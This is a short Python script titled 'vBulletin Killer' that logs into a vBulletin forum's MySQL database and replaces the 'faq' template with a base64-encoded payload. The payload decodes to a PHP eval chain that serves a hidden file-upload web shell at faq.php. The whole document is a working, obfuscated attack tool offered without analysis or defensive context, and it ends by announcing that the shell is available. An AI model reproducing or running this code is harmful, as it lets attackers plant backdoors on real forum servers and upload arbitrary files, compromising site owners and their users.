vBulletin Killer.py

#!/usr/bin/python

import MySQLdb, sys, base64

if len(sys.argv) !=5:
   print >>sys.stderr, "Usage:", sys.argv[0], "[hostname] [dbuser] [dbpass] [dbname]"
   exit(1)
hostname = sys.argv[1]
dbuser = sys.argv[2]
dbpass = sys.argv[3]
dbname = sys.argv[4]

db = MySQLdb.connect(hostname,dbuser,dbpass,dbname)

cursor = db.cursor()

data = 'JHNwYWNlcl9vcGVuDQp7JHtldmFsKGJhc2U2NF9kZWNvZGUoImFXWW9hWE56WlhRb0pGOVFUMU5VV3lkVGRXSnRhWFFuWFNrcGV3MEtJQ0FnSUNSbWFXeGxaR2x5SUQwZ0lpSTdJQTBLSUNBZ0lDUnRZWGhtYVd4bElEMGdKekl3TURBd01EQW5PdzBLRFFvZ0lDQWdKSFZ6WlhKbWFXeGxYMjVoYldVZ1BTQWtYMFpKVEVWVFd5ZHBiV0ZuWlNkZFd5ZHVZVzFsSjEwN0RRb2dJQ0FnSkhWelpYSm1hV3hsWDNSdGNDQTlJQ1JmUmtsTVJWTmJKMmx0WVdkbEoxMWJKM1J0Y0Y5dVlXMWxKMTA3RFFvZ0lDQWdhV1lnS0dsemMyVjBLQ1JmUmtsTVJWTmJKMmx0WVdkbEoxMWJKMjVoYldVblhTa3BJSHNOQ2lBZ0lDQWdJQ0FnSkdGaWIyUWdQU0FrWm1sc1pXUnBjaTRrZFhObGNtWnBiR1ZmYm1GdFpUc05DaUFnSUNBZ0lDQWdRRzF2ZG1WZmRYQnNiMkZrWldSZlptbHNaU2drZFhObGNtWnBiR1ZmZEcxd0xDQWtZV0p2WkNrN0RRb2dJQTBLWldOb2J5SThZMlZ1ZEdWeVBqeGlQa1J2Ym1VZ1BUMCtJQ1IxYzJWeVptbHNaVjl1WVcxbFBDOWlQand2WTJWdWRHVnlQaUk3RFFwOURRcDlEUXBsYkhObGV3MEtaV05vYnljTkNqeG1iM0p0SUcxbGRHaHZaRDBpVUU5VFZDSWdZV04wYVc5dVBTSWlJR1Z1WTNSNWNHVTlJbTExYkhScGNHRnlkQzltYjNKdExXUmhkR0VpUGp4cGJuQjFkQ0IwZVhCbFBTSm1hV3hsSWlCdVlXMWxQU0pwYldGblpTSStQR2x1Y0hWMElIUjVjR1U5SWxOMVltMXBkQ0lnYm1GdFpUMGlVM1ZpYldsMElpQjJZV3gxWlQwaVUzVmliV2wwSWo0OEwyWnZjbTArSnpzTkNuMD0iKSl9fXske2V4aXQoKX19Jg0KJF9waHBpbmNsdWRlX291dHB1dA=='

decode = base64.b64decode(data)

cursor.execute ("""
         UPDATE template SET template = %s
         WHERE title = "faq"
       """, (decode))
print "Ok ,Shell available is faq.php"

db.close()